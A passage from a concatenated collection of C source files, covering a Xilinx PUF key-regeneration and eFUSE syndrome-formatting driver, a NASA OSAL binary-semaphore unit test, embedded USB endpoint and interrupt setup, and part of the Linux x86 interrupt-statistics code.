XPUF_PMC_GLOBAL_PUF_SYN_ADDR_OFFSET, PufData->SyndromeAddr);
Status = XST_SUCCESS;
}
else if (PufData->ReadOption == XPUF_READ_FROM_EFUSE_CACHE) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR,
XPUF_PMC_GLOBAL_PUF_SYN_ADDR_OFFSET, XPUF_EFUSE_SYN_ADD_INIT);
Status = XST_SUCCESS;
}
else {
Status = XPUF_ERROR_INVALID_READ_HD_INPUT;
}
END:
return Status;
}
/*****************************************************************************/
/**
* @brief This function triggers PUF Regeneration by configuring type of
* regeneration provided by the user. It regenerates PUF Key and ID
* depending on the type of regeneration using the helper data
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
* @return XST_SUCCESS - On Successful Regeneration
* XPUF_ERROR_INVALID_REGENERATION_TYPE - On Selection of invalid
* regeneration type
* XPUF_ERROR_PUF_STATUS_DONE_TIMEOUT - Timeout occurred while
* waiting for PUF done bit
* XPUF_ERROR_PUF_DONE_KEY_ID_NT_RDY - Key ready bit and ID ready
* bit is not set
* XPUF_ERROR_PUF_DONE_ID_NT_RDY - Id ready bit is not set
*
*****************************************************************************/
static int XPuf_StartRegeneration(XPuf_Data *PufData)
{
volatile int Status = XST_FAILURE;
u32 PufStatus;
if(XPUF_REGEN_ID_ONLY == PufData->PufOperation) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CMD_OFFSET,
XPUF_CMD_REGEN_ID_ONLY);
}
else if(XPUF_REGEN_ON_DEMAND == PufData->PufOperation) {
XPuf_WriteReg(XPUF_PMC_GLOBAL_BASEADDR, XPUF_PMC_GLOBAL_PUF_CMD_OFFSET,
XPUF_CMD_REGEN_ON_DEMAND);
}
else {
Status = XPUF_ERROR_INVALID_REGENERATION_TYPE;
goto END;
}
Status = XPuf_WaitForPufDoneStatus();
if (Status != XST_SUCCESS) {
XPuf_Printf(XPUF_DEBUG_GENERAL,
"Error: Puf Regeneration failed!! \r\n");
Status = XPUF_ERROR_PUF_STATUS_DONE_TIMEOUT;
goto END;
}
PufStatus = XPuf_ReadReg(XPUF_PMC_GLOBAL_BASEADDR,
XPUF_PMC_GLOBAL_PUF_STATUS_OFFSET);
Status = XST_FAILURE;
if ((PufStatus & XPUF_STATUS_ID_RDY) == XPUF_STATUS_ID_RDY) {
if ((XPUF_REGEN_ON_DEMAND == PufData->PufOperation) &&
((PufStatus & XPUF_STATUS_KEY_RDY) !=
XPUF_STATUS_KEY_RDY)) {
Status = XPUF_ERROR_PUF_DONE_KEY_NT_RDY;
goto END;
}
XPuf_CapturePufID(PufData);
Status = XST_SUCCESS;
}
else {
Status = XPUF_ERROR_PUF_DONE_ID_NT_RDY;
}
END:
return Status;
}
/*****************************************************************************/
/**
*
* @brief Converts the PUF Syndrome data to eFUSE writing format
*
* @param PufData - Pointer to XPuf_Data structure which includes options
* to configure PUF
*
* @return XST_SUCCESS - Syndrome data is successfully trimmed
* XPUF_ERROR_INVALID_PARAM - PufData instance pointer is NULL
* XST_FAILURE - Unexpected event
*
* @note Formatted data will be available at PufData->EfuseSynData
*
******************************************************************************/
int XPuf_GenerateFuseFormat(XPuf_Data *PufData)
{
int Status = XST_FAILURE;
u32 SynData[XPUF_4K_PUF_SYN_LEN_IN_WORDS] = {0U};
u32 SIndex = 0U;
u32 DIndex = 0U;
u32 Index;
u32 SubIndex;
if (PufData == NULL) {
Status = XPUF_ERROR_INVALID_PARAM;
goto END;
}
Xil_MemCpy(SynData, PufData->SyndromeData,
(XPUF_4K_PUF_SYN_LEN_IN_WORDS * XPUF_WORD_LENGTH));
/**
* Trimming logic for PUF Syndrome Data:
* ------------------------------------
* Space allocated in eFUSE for syndrome data = 4060bits
* eFUSE02 - 2032bits
* eFUSE03 - 2028bits
*
* PUF Helper data generated for 4K Mode through registration
* is 140 Words = 140*32 = 4480 bits.
* Remove lower 12 bits of every fourth word of syndrome data.
*
* After removing these bits remaining syndrome data will be
* exactly 4060bits which will fit into eFUSE.
*
*
* Illustration:
*
* Input
* -----
* 454D025B
* CDCB36FC
* EE1FE4C5
* 3FE53F74 --> F74 has to removed &
* 3A0AE7F8 next word upper 12 bits have to be shifted here
* 2373F03A
* C83188AF
* 3A5EB687--> 687 has to be removed
* B83E4A1D
* D53B5C50
* FA8B33D9
* 07EEFF43 --> F43 has to be removed
* CD01973F
* ........
* ........
* ........
*/
for (Index = 0U; Index < 5U; Index++) {
for (SubIndex = 0U; SubIndex < 4U; SubIndex++) {
if (SubIndex == 3U) {
PufData->EfuseSynData[DIndex] =
(SynData[SIndex] & XPUF_EFUSE_TRIM_MASK) |
(SynData[SIndex + 1U] >> 20U);
}
else {
PufData->EfuseSynData[DIndex] =
SynData[SIndex];
}
SIndex++;
DIndex++;
}
for (SubIndex = 0U; SubIndex < 4U; SubIndex++) {
if (SubIndex == 3U) {
PufData->EfuseSynData[DIndex] =
(((SynData[SIndex] &
XPUF_EFUSE_TRIM_MASK) << 12U) |
(SynData[SIndex + 1U] >> 8U));
}
else {
PufData->EfuseSynData[DIndex] =
((SynData[SIndex] << 12U) |
(SynData[SIndex + 1U] >> 20U));
}
SIndex++;
DIndex++;
}
for (SubIndex = 0U; SubIndex < 3U; SubIndex++) {
if (SubIndex == 2U) {
PufData->EfuseSynData[DIndex] =
((SynData[SIndex] << 24U) |
((SynData[SIndex + 1U] &
XPUF_EFUSE_TRIM_MASK) >> 8U));
if (DIndex < (XPUF_EFUSE_TRIM_SYN_DATA_IN_WORDS - 1U)) {
PufData->EfuseSynData[DIndex] |=
(SynData[SIndex + 2U] >> 28U);
}
}
else {
PufData->EfuseSynData[DIndex]=
((SynData[SIndex] << 24U) |
(SynData[SIndex + 1U] >> 8U));
}
SIndex++;
DIndex++;
}
SIndex++;
if (Index != 4U) {
for (SubIndex = 0U; SubIndex < 4U; SubIndex++) {
if (SubIndex == 3U) {
PufData->EfuseSynData[DIndex] =
(((SynData[SIndex] &
XPUF_EFUSE_TRIM_MASK) << 4U) |
(SynData[SIndex + 1U] >> 16U));
}
else {
PufData->EfuseSynData[DIndex] =
((SynData[SIndex] << 4U) |
(SynData[SIndex + 1U] >> 28U));
}
SIndex++;
DIndex++;
}
for (SubIndex = 0U; SubIndex < 4U; SubIndex++) {
if(SubIndex == 3U) {
PufData->EfuseSynData[DIndex] =
(((SynData[SIndex] &
XPUF_EFUSE_TRIM_MASK) << 16U) |
(SynData[SIndex + 1U] >> 4U));
}
else {
PufData->EfuseSynData[DIndex]=
((SynData[SIndex] << 16U) |
(SynData[SIndex + 1U] >> 16U));
}
SIndex++;
DIndex++;
}
for (SubIndex = 0U; SubIndex < 3U; SubIndex++) {
if (SubIndex == 2U) {
PufData->EfuseSynData[DIndex] =
((SynData[SIndex] << 28U) |
((SynData[SIndex + 1U] &
XPUF_EFUSE_TRIM_MASK) >> 4U));
PufData->EfuseSynData[DIndex] |=
(SynData[SIndex + 2U] >> 24U);
}
else {
PufData->EfuseSynData[DIndex]=
((SynData[SIndex] << 28U) |
(SynData[SIndex + 1U] >> 4U));
}
SIndex++;
DIndex++;
}
SIndex++;
for (SubIndex = 0U; SubIndex < 4U; SubIndex++) {
if (SubIndex == 3U) {
PufData->EfuseSynData[DIndex] =
(((SynData[SIndex] &
XPUF_EFUSE_TRIM_MASK) << 8U) |
(SynData[SIndex + 1U] >> 12U));
}
else {
PufData->EfuseSynData[DIndex] =
((SynData[SIndex] << 8U) |
(SynData[SIndex + 1U] >> 24U));
}
SIndex++;
DIndex++;
}
for (SubIndex = 0U; SubIndex < 3U; SubIndex++) {
if (SubIndex == 2U) {
PufData->EfuseSynData[DIndex] =
((SynData[SIndex] << 20U) |
((SynData[SIndex + 1U] &
XPUF_EFUSE_TRIM_MASK) >> 12U));
}
else {
PufData->EfuseSynData[DIndex]=
((SynData[SIndex] << 20U) |
(SynData[SIndex + 1U] >> 12U));
}
SIndex++;
DIndex++;
}
SIndex++;
}
}
PufData->EfuseSynData[XPUF_LAST_WORD_OFFSET] &=
XPUF_LAST_WORD_MASK;
Status = XST_SUCCESS;
END:
return Status;
}
|
224158.c | /*
* NASA Docket No. GSC-18,370-1, and identified as "Operating System Abstraction Layer"
*
* Copyright (c) 2019 United States Government as represented by
* the Administrator of the National Aeronautics and Space Administration.
* All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
** Binary semaphore Producer/Consumer test
*/
#include <stdio.h>
#include <stdlib.h>
#include "common_types.h"
#include "osapi.h"
#include "utassert.h"
#include "uttest.h"
#include "utbsp.h"
/* Define setup and check functions for UT assert */
void BinSemSetup(void);
void BinSemCheck(void);
/* Task 1 */
#define TASK_1_ID 1
#define TASK_1_STACK_SIZE 1024
#define TASK_1_PRIORITY 101
#define TASK_2_STACK_SIZE 1024
#define TASK_2_PRIORITY 50
#define TIMER_ENTRY 0x001
#define TIMER_EXIT 0x002
#define TASK_ENTRY 0x003
#define TASK_EXIT 0x004
uint32 task_1_stack[TASK_1_STACK_SIZE];
osal_id_t task_1_id;
uint32 task_1_failures;
uint32 task_2_stack[TASK_2_STACK_SIZE];
osal_id_t task_2_id;
uint32 timer_failures;
osal_id_t bin_sem_id;
uint32 timer_counter;
osal_id_t timer_id;
uint32 timer_start = 1000;
uint32 timer_interval = 10000; /* 1000 = 1000 hz, 10000 == 100 hz */
uint32 timer_accuracy;
int counter = 0;
/*
* Note that we should not call "printf" or anything
* like that during a timer callback routine (may be ISR context)
*
* On RTEMS even a call to BinSemGetInfo has very ill effects.
*/
void TimerFunction(osal_id_t timer_id)
{
int32 status;
timer_counter++;
status = OS_BinSemGive(bin_sem_id);
if ( status != OS_SUCCESS )
{
++timer_failures;
}
{
OS_bin_sem_prop_t bin_sem_prop;
status = OS_BinSemGetInfo (bin_sem_id, &bin_sem_prop);
if ( status != OS_SUCCESS )
{
++timer_failures;
}
else if ( bin_sem_prop.value > 1 )
{
++timer_failures;
}
else if ( bin_sem_prop.value < -1 )
{
++timer_failures;
}
}
}
void task_1(void)
{
uint32 status;
OS_bin_sem_prop_t bin_sem_prop;
int printf_counter = 0;
OS_printf("Starting task 1\n");
OS_TaskRegister();
OS_printf("Delay for 1 second before starting\n");
OS_TaskDelay(1000);
/* if failures occur, do not loop endlessly */
while(task_1_failures < 20)
{
status = OS_BinSemTake(bin_sem_id);
if ( status != OS_SUCCESS )
{
OS_printf("TASK 1:Error calling OS_BinSemTake\n");
++task_1_failures;
OS_TaskDelay(10);
}
else
{
printf_counter++;
counter++;
if ( printf_counter > 100 )
{
OS_printf("TASK 1: counter:%d timer_counter:%d\n", (int)counter,(int)timer_counter);
printf_counter = 0;
}
status = OS_BinSemGetInfo (bin_sem_id, &bin_sem_prop);
if ( status != OS_SUCCESS )
{
OS_printf("TASK 1:Error calling OS_BinSemGetInfo\n");
++task_1_failures;
}
else if ( bin_sem_prop.value > 1 )
{
OS_printf("Error: Binary sem value > 1 ( in task):%d !\n",(int)bin_sem_prop.value);
++task_1_failures;
}
else if ( bin_sem_prop.value < -1 )
{
OS_printf("Error: Binary sem value < -1 ( in task):%d !\n",(int)bin_sem_prop.value);
++task_1_failures;
}
}
}
}
void BinSemCheck(void)
{
uint32 status;
OS_bin_sem_prop_t bin_sem_prop;
/* Delete the task, which should be pending in OS_BinSemTake() */
status = OS_TaskDelete(task_1_id);
UtAssert_True(status == OS_SUCCESS, "OS_TaskDelete Rc=%d", (int)status);
status = OS_TimerDelete(timer_id);
UtAssert_True(status == OS_SUCCESS, "OS_TimerDelete Rc=%d", (int)status);
OS_TaskDelay(100);
/* Confirm that the semaphore itself is still operational after task deletion */
status = OS_BinSemGive(bin_sem_id);
UtAssert_True(status == OS_SUCCESS, "BinSem give Rc=%d", (int)status);
status = OS_BinSemGetInfo (bin_sem_id, &bin_sem_prop);
UtAssert_True(status == OS_SUCCESS, "BinSem value=%d Rc=%d", (int)bin_sem_prop.value, (int)status);
status = OS_BinSemTake(bin_sem_id);
UtAssert_True(status == OS_SUCCESS, "BinSem take Rc=%d", (int)status);
status = OS_BinSemDelete(bin_sem_id);
UtAssert_True(status == OS_SUCCESS, "BinSem delete Rc=%d", (int)status);
UtAssert_True(counter < timer_counter, "Task counter (%d) < timer counter (%d)", (int)counter, (int)timer_counter);
UtAssert_True(task_1_failures == 0, "Task 1 failures = %u", (unsigned int)task_1_failures);
UtAssert_True(timer_failures == 0, "Timer failures = %u", (unsigned int)timer_failures);
}
void UtTest_Setup(void)
{
if (OS_API_Init() != OS_SUCCESS)
{
UtAssert_Abort("OS_API_Init() failed");
}
/*
* Register the test setup and check routines in UT assert
*/
UtTest_Add(BinSemCheck, BinSemSetup, NULL, "BinSemTest");
}
void BinSemSetup(void)
{
uint32 status;
uint32 accuracy;
OS_bin_sem_prop_t bin_sem_prop;
/* separate task failure counter because ut-assert is not reentrant */
task_1_failures = 0;
timer_failures = 0;
/*
** Create the binary semaphore
*/
status = OS_BinSemCreate( &bin_sem_id, "BinSem1", 1, 0);
UtAssert_True(status == OS_SUCCESS, "BinSem1 create Id=%lx Rc=%d",
OS_ObjectIdToInteger(bin_sem_id), (int)status);
status = OS_BinSemGetInfo (bin_sem_id, &bin_sem_prop);
UtAssert_True(status == OS_SUCCESS, "BinSem1 value=%d Rc=%d", (int)bin_sem_prop.value, (int)status);
/*
** Take the semaphore so the value is 0 and the next SemTake call should block
*/
status = OS_BinSemTake(bin_sem_id);
UtAssert_True(status == OS_SUCCESS, "BinSem1 take Rc=%d", (int)status);
status = OS_BinSemGetInfo (bin_sem_id, &bin_sem_prop);
UtAssert_True(status == OS_SUCCESS, "BinSem1 value=%d Rc=%d", (int)bin_sem_prop.value, (int)status);
/*
** Create the "consumer" task.
*/
status = OS_TaskCreate( &task_1_id, "Task 1", task_1, task_1_stack, TASK_1_STACK_SIZE, TASK_1_PRIORITY, 0);
UtAssert_True(status == OS_SUCCESS, "Task 1 create Id=%lx Rc=%d",
OS_ObjectIdToInteger(task_1_id), (int)status);
/*
** Create a timer
*/
status = OS_TimerCreate(&timer_id, "Timer 1", &accuracy, &(TimerFunction));
UtAssert_True(status == OS_SUCCESS, "Timer 1 create Id=%lx Rc=%d",
OS_ObjectIdToInteger(timer_id), (int)status);
UtPrintf("Timer Accuracy = %u microseconds \n",(unsigned int)accuracy);
/*
** Start the timer
*/
status = OS_TimerSet(timer_id, timer_start, timer_interval);
UtAssert_True(status == OS_SUCCESS, "Timer 1 set Rc=%d", (int)status);
/*
* Give the task some time to run
*/
while(timer_counter < 1000)
{
OS_TaskDelay(100);
}
}
|
4079.c | #include "usb_config.h"
#include "usb/scsi.h"
#include "irq.h"
#include "gpio.h"
#define LOG_TAG_CONST USB
#define LOG_TAG "[USB]"
#define LOG_ERROR_ENABLE
#define LOG_DEBUG_ENABLE
#define LOG_INFO_ENABLE
/* #define LOG_DUMP_ENABLE */
#define LOG_CLI_ENABLE
#include "debug.h"
#if TCFG_PC_ENABLE || TCFG_UDISK_ENABLE
#define EP0_DMA_SIZE (64+4)
#define HID_DMA_SIZE (64+4)
#define AUDIO_DMA_SIZE (256+4)
#define MSD_DMA_SIZE ((64+4)*2)
#define MAX_EP_TX 5
#define MAX_EP_RX 5
static usb_interrupt usb_interrupt_tx[USB_MAX_HW_NUM][MAX_EP_TX];// SEC(.usb_g_bss);
static usb_interrupt usb_interrupt_rx[USB_MAX_HW_NUM][MAX_EP_RX];// SEC(.usb_h_bss);
static u8 ep0_dma_buffer[EP0_DMA_SIZE] __attribute__((aligned(4))) SEC(.usb_h_dma) ;
static u8 ep1_msd_dma_buffer[2][MSD_DMA_SIZE] __attribute__((aligned(4)))SEC(.usb_msd_dma);
static u8 ep2_hid_dma_buffer[HID_DMA_SIZE] __attribute__((aligned(4)))SEC(.usb_hid_dma);
static u8 ep2_spk_dma_buffer[AUDIO_DMA_SIZE] __attribute__((aligned(4)))SEC(.usb_iso_dma);
static u8 ep3_mic_dma_buffer[AUDIO_DMA_SIZE] __attribute__((aligned(4)))SEC(.usb_iso_dma);
struct usb_config_var_t {
u8 usb_setup_buffer[USB_SETUP_SIZE];
struct usb_ep_addr_t usb_ep_addr;
struct usb_setup_t usb_setup;
};
static struct usb_config_var_t *usb_config_var[USB_MAX_HW_NUM] = {NULL};
#if USB_MALLOC_ENABLE
#else
static struct usb_config_var_t _usb_config_var[USB_MAX_HW_NUM] SEC(.usb_config_var);
#endif
__attribute__((always_inline_when_const_args))
void *usb_get_ep_buffer(const usb_dev usb_id, u32 ep)
{
u8 *ep_buffer = NULL;
u32 _ep = ep & 0xf;
if (ep & USB_DIR_IN) {
switch (_ep) {
case 0:
ep_buffer = ep0_dma_buffer;
break;
case 1:
ep_buffer = ep1_msd_dma_buffer[0];
break;
case 2:
ep_buffer = ep2_hid_dma_buffer;
break;
case 3:
ep_buffer = ep3_mic_dma_buffer;
break;
case 4:
ep_buffer = NULL;
break;
}
} else {
switch (_ep) {
case 0:
ep_buffer = ep0_dma_buffer;
break;
case 1:
ep_buffer = ep1_msd_dma_buffer[0];
break;
case 2:
ep_buffer = ep2_spk_dma_buffer;
break;
case 4:
ep_buffer = NULL;
break;
}
}
return ep_buffer;
}
void usb_isr(const usb_dev usb_id)
{
u32 intr_usb, intr_usbe;
u32 intr_tx, intr_txe;
u32 intr_rx, intr_rxe;
__asm__ volatile("ssync");
usb_read_intr(usb_id, &intr_usb, &intr_tx, &intr_rx);
usb_read_intre(usb_id, &intr_usbe, &intr_txe, &intr_rxe);
struct usb_device_t *usb_device = usb_id2device(usb_id);
intr_usb &= intr_usbe;
intr_tx &= intr_txe;
intr_rx &= intr_rxe;
if (intr_usb & INTRUSB_SUSPEND) {
log_error("usb suspend");
usb_sie_close(usb_id);
}
if (intr_usb & INTRUSB_RESET_BABBLE) {
log_error("usb reset");
usb_reset_interface(usb_device);
}
if (intr_usb & INTRUSB_RESUME) {
log_error("usb resume");
}
if (intr_tx & BIT(0)) {
if (usb_interrupt_rx[usb_id][0]) {
usb_interrupt_rx[usb_id][0](usb_device, 0);
} else {
#if TCFG_PC_ENABLE
usb_control_transfer(usb_device);
#endif
}
}
for (int i = 1; i < MAX_EP_TX; i++) {
if (intr_tx & BIT(i)) {
if (usb_interrupt_tx[usb_id][i]) {
usb_interrupt_tx[usb_id][i](usb_device, i);
}
}
}
for (int i = 1; i < MAX_EP_RX; i++) {
if (intr_rx & BIT(i)) {
if (usb_interrupt_rx[usb_id][i]) {
usb_interrupt_rx[usb_id][i](usb_device, i);
}
}
}
__asm__ volatile("csync");
}
SET_INTERRUPT
void usb0_g_isr()
{
usb_isr(0);
}
SET_INTERRUPT
void usb0_sof_isr()
{
const usb_dev usb_id = 0;
usb_sof_clr_pnd(usb_id);
static u32 sof_count = 0;
if ((sof_count++ % 1000) == 0) {
log_info("sof 1s isr frame:%d", usb_read_sofframe(usb_id));
}
}
__attribute__((always_inline_when_const_args))
u32 usb_g_set_intr_hander(const usb_dev usb_id, u32 ep, usb_interrupt hander)
{
if (ep & USB_DIR_IN) {
usb_interrupt_tx[usb_id][ep & 0xf] = hander;
} else {
usb_interrupt_rx[usb_id][ep] = hander;
}
return 0;
}
void usb_g_isr_reg(const usb_dev usb_id, u8 priority, u8 cpu_id)
{
request_irq(IRQ_USB_CTRL_IDX, priority, usb0_g_isr, cpu_id);
}
void usb_sof_isr_reg(const usb_dev usb_id, u8 priority, u8 cpu_id)
{
request_irq(IRQ_USB_SOF_IDX, priority, usb0_sof_isr, cpu_id);
}
u32 usb_config(const usb_dev usb_id)
{
memset(usb_interrupt_rx[usb_id], 0, sizeof(usb_interrupt_rx[usb_id]));
memset(usb_interrupt_tx[usb_id], 0, sizeof(usb_interrupt_tx[usb_id]));
log_info("zalloc: usb_config_var[%d] = %x\n", usb_id, usb_config_var[usb_id]);
if (!usb_config_var[usb_id]) {
#if USB_MALLOC_ENABLE
usb_config_var[usb_id] = (struct usb_config_var_t *)zalloc(sizeof(struct usb_config_var_t));
if (!usb_config_var[usb_id]) {
return -1;
}
#else
memset(&_usb_config_var, 0, sizeof(_usb_config_var));
usb_config_var[usb_id] = &_usb_config_var[usb_id];
#endif
}
log_info("zalloc: usb_config_var[%d] = %x\n", usb_id, usb_config_var[usb_id]);
usb_var_init(usb_id, &(usb_config_var[usb_id]->usb_ep_addr));
usb_setup_init(usb_id, &(usb_config_var[usb_id]->usb_setup), usb_config_var[usb_id]->usb_setup_buffer);
return 0;
}
u32 usb_release(const usb_dev usb_id)
{
log_info("free zalloc: usb_config_var[%d] = %x\n", usb_id, usb_config_var[usb_id]);
usb_var_init(usb_id, NULL);
usb_setup_init(usb_id, NULL, NULL);
#if USB_MALLOC_ENABLE
if (usb_config_var[usb_id]) {
log_info("free: usb_config_var[%d] = %x\n", usb_id, usb_config_var[usb_id]);
free(usb_config_var[usb_id]);
}
#endif
usb_config_var[usb_id] = NULL;
return 0;
}
#endif
|
956490.c | // SPDX-License-Identifier: GPL-2.0-only
/*
* Common interrupt code for 32 and 64 bit
*/
#include <linux/cpu.h>
#include <linux/interrupt.h>
#include <linux/kernel_stat.h>
#include <linux/of.h>
#include <linux/seq_file.h>
#include <linux/smp.h>
#include <linux/ftrace.h>
#include <linux/delay.h>
#include <linux/export.h>
#include <linux/irq.h>
#include <asm/irq_stack.h>
#include <asm/apic.h>
#include <asm/io_apic.h>
#include <asm/irq.h>
#include <asm/mce.h>
#include <asm/hw_irq.h>
#include <asm/desc.h>
#include <asm/traps.h>
#define CREATE_TRACE_POINTS
#include <asm/trace/irq_vectors.h>
DEFINE_PER_CPU_SHARED_ALIGNED(irq_cpustat_t, irq_stat);
EXPORT_PER_CPU_SYMBOL(irq_stat);
atomic_t irq_err_count;
/*
* 'what should we do if we get a hw irq event on an illegal vector'.
* each architecture has to answer this themselves.
*/
void ack_bad_irq(unsigned int irq)
{
if (printk_ratelimit())
pr_err("unexpected IRQ trap at vector %02x\n", irq);
/*
* Currently unexpected vectors happen only on SMP and APIC.
* We _must_ ack these because every local APIC has only N
* irq slots per priority level, and a 'hanging, unacked' IRQ
* holds up an irq slot - in excessive cases (when multiple
* unexpected vectors occur) that might lock up the APIC
* completely.
* But only ack when the APIC is enabled -AK
*/
ack_APIC_irq();
}
#define irq_stats(x) (&per_cpu(irq_stat, x))
/*
* /proc/interrupts printing for arch specific interrupts
*/
int arch_show_interrupts(struct seq_file *p, int prec)
{
int j;
seq_printf(p, "%*s: ", prec, "NMI");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->__nmi_count);
seq_puts(p, " Non-maskable interrupts\n");
#ifdef CONFIG_X86_LOCAL_APIC
seq_printf(p, "%*s: ", prec, "LOC");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->apic_timer_irqs);
seq_puts(p, " Local timer interrupts\n");
seq_printf(p, "%*s: ", prec, "SPU");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_spurious_count);
seq_puts(p, " Spurious interrupts\n");
seq_printf(p, "%*s: ", prec, "PMI");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->apic_perf_irqs);
seq_puts(p, " Performance monitoring interrupts\n");
seq_printf(p, "%*s: ", prec, "IWI");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->apic_irq_work_irqs);
seq_puts(p, " IRQ work interrupts\n");
seq_printf(p, "%*s: ", prec, "RTR");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->icr_read_retry_count);
seq_puts(p, " APIC ICR read retries\n");
if (x86_platform_ipi_callback) {
seq_printf(p, "%*s: ", prec, "PLT");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->x86_platform_ipis);
seq_puts(p, " Platform interrupts\n");
}
#endif
#ifdef CONFIG_SMP
seq_printf(p, "%*s: ", prec, "RES");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_resched_count);
seq_puts(p, " Rescheduling interrupts\n");
seq_printf(p, "%*s: ", prec, "CAL");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_call_count);
seq_puts(p, " Function call interrupts\n");
seq_printf(p, "%*s: ", prec, "TLB");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_tlb_count);
seq_puts(p, " TLB shootdowns\n");
#endif
#ifdef CONFIG_X86_THERMAL_VECTOR
seq_printf(p, "%*s: ", prec, "TRM");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_thermal_count);
seq_puts(p, " Thermal event interrupts\n");
#endif
#ifdef CONFIG_X86_MCE_THRESHOLD
seq_printf(p, "%*s: ", prec, "THR");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_threshold_count);
seq_puts(p, " Threshold APIC interrupts\n");
#endif
#ifdef CONFIG_X86_MCE_AMD
seq_printf(p, "%*s: ", prec, "DFR");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->irq_deferred_error_count);
seq_puts(p, " Deferred Error APIC interrupts\n");
#endif
#ifdef CONFIG_X86_MCE
seq_printf(p, "%*s: ", prec, "MCE");
for_each_online_cpu(j)
seq_printf(p, "%10u ", per_cpu(mce_exception_count, j));
seq_puts(p, " Machine check exceptions\n");
seq_printf(p, "%*s: ", prec, "MCP");
for_each_online_cpu(j)
seq_printf(p, "%10u ", per_cpu(mce_poll_count, j));
seq_puts(p, " Machine check polls\n");
#endif
#ifdef CONFIG_X86_HV_CALLBACK_VECTOR
if (test_bit(HYPERVISOR_CALLBACK_VECTOR, system_vectors)) {
seq_printf(p, "%*s: ", prec, "HYP");
for_each_online_cpu(j)
seq_printf(p, "%10u ",
irq_stats(j)->irq_hv_callback_count);
seq_puts(p, " Hypervisor callback interrupts\n");
}
#endif
#if IS_ENABLED(CONFIG_HYPERV)
if (test_bit(HYPERV_REENLIGHTENMENT_VECTOR, system_vectors)) {
seq_printf(p, "%*s: ", prec, "HRE");
for_each_online_cpu(j)
seq_printf(p, "%10u ",
irq_stats(j)->irq_hv_reenlightenment_count);
seq_puts(p, " Hyper-V reenlightenment interrupts\n");
}
if (test_bit(HYPERV_STIMER0_VECTOR, system_vectors)) {
seq_printf(p, "%*s: ", prec, "HVS");
for_each_online_cpu(j)
seq_printf(p, "%10u ",
irq_stats(j)->hyperv_stimer0_count);
seq_puts(p, " Hyper-V stimer0 interrupts\n");
}
#endif
seq_printf(p, "%*s: %10u\n", prec, "ERR", atomic_read(&irq_err_count));
#if defined(CONFIG_X86_IO_APIC)
seq_printf(p, "%*s: %10u\n", prec, "MIS", atomic_read(&irq_mis_count));
#endif
#ifdef CONFIG_HAVE_KVM
seq_printf(p, "%*s: ", prec, "PIN");
for_each_online_cpu(j)
seq_printf(p, "%10u ", irq_stats(j)->kvm_posted_intr_ipis);
seq_puts(p, " Posted-interrupt notification event\n");
seq_printf(p, "%*s: ", prec, "NPI");
for_each_online_cpu(j)
seq_printf(p, "%10u ",
irq_stats(j)->kvm_posted_intr_nested_ipis);
seq_puts(p, " Nested posted-interrupt event\n");
seq_printf(p, "%*s: ", prec, "PIW");
for_each_online_cpu(j)
seq_printf(p, "%10u ",
irq_stats(j)->kvm_posted_intr_wakeup_ipis);
seq_puts(p, " Posted-interrupt wakeup event\n");
#endif
return 0;
}
/*
* /proc/stat helpers
*/
u64 arch_irq_stat_cpu(unsigned int cpu)
{
u64 sum = irq_stats(cpu)->__nmi_count;
#ifdef CONFIG_X86_LOCAL_APIC
sum += irq_stats(cpu)->apic_timer_irqs;
sum += irq_stats(cpu)->irq_spurious_count;
sum += irq_stats(cpu)->apic_perf_irqs;
sum += irq_stats(cpu)->apic_irq_work_irqs;
sum += irq_stats(cpu)->icr_read_retry_count;
if (x86_platform_ipi_callback)
sum += irq_stats(cpu)->x86_platform_ipis;
#endif
#ifdef CONFIG_SMP
sum += irq_stats(cpu)->irq_resched_count;
sum += irq_stats(cpu)->irq_call_count;
#endif
#ifdef CONFIG_X86_THERMAL_VECTOR
sum += irq_stats(cpu)->irq_thermal_count;
#endif
#ifdef CONFIG_X86_MCE_THRESHOLD
sum += irq_stats(cpu)->irq_threshold_count;
#endif
#ifdef CONFIG_X86_MCE
sum += per_cpu(mce_exception_count, cpu);
sum += per_cpu(mce_poll_count, cpu);
#endif
return sum;
}
u64 arch_irq_stat(void)
{
u64 sum = atomic_read(&irq_err_count);
return sum;
}
static __always_inline void handle_irq(struct irq_desc *desc,
struct pt_regs *regs)
{
if (IS_ENABLED(CONFIG_X86_64))
run_on_irqstack_cond(desc->handle_irq, desc, regs);
else
__handle_irq(desc, regs);
}
/*
* common_interrupt() handles all normal device IRQ's (the special SMP
* cross-CPU interrupts have their own entry points).
*/
DEFINE_IDTENTRY_IRQ(common_interrupt)
{
struct pt_regs *old_regs = set_irq_regs(regs);
struct irq_desc *desc;
/* entry code tells RCU that we're not quiescent. Check it. */
RCU_LOCKDEP_WARN(!rcu_is_watching(), "IRQ failed to wake up RCU");
desc = __this_cpu_read(vector_irq[vector]);
if (likely(!IS_ERR_OR_NULL(desc))) {
handle_irq(desc, regs);
} else {
ack_APIC_irq();
if (desc == VECTOR_UNUSED) {
pr_emerg_ratelimited("%s: %d.%u No irq handler for vector\n",
__func__, smp_processor_id(),
vector);
} else {
__this_cpu_write(vector_irq[vector], VECTOR_UNUSED);
}
}
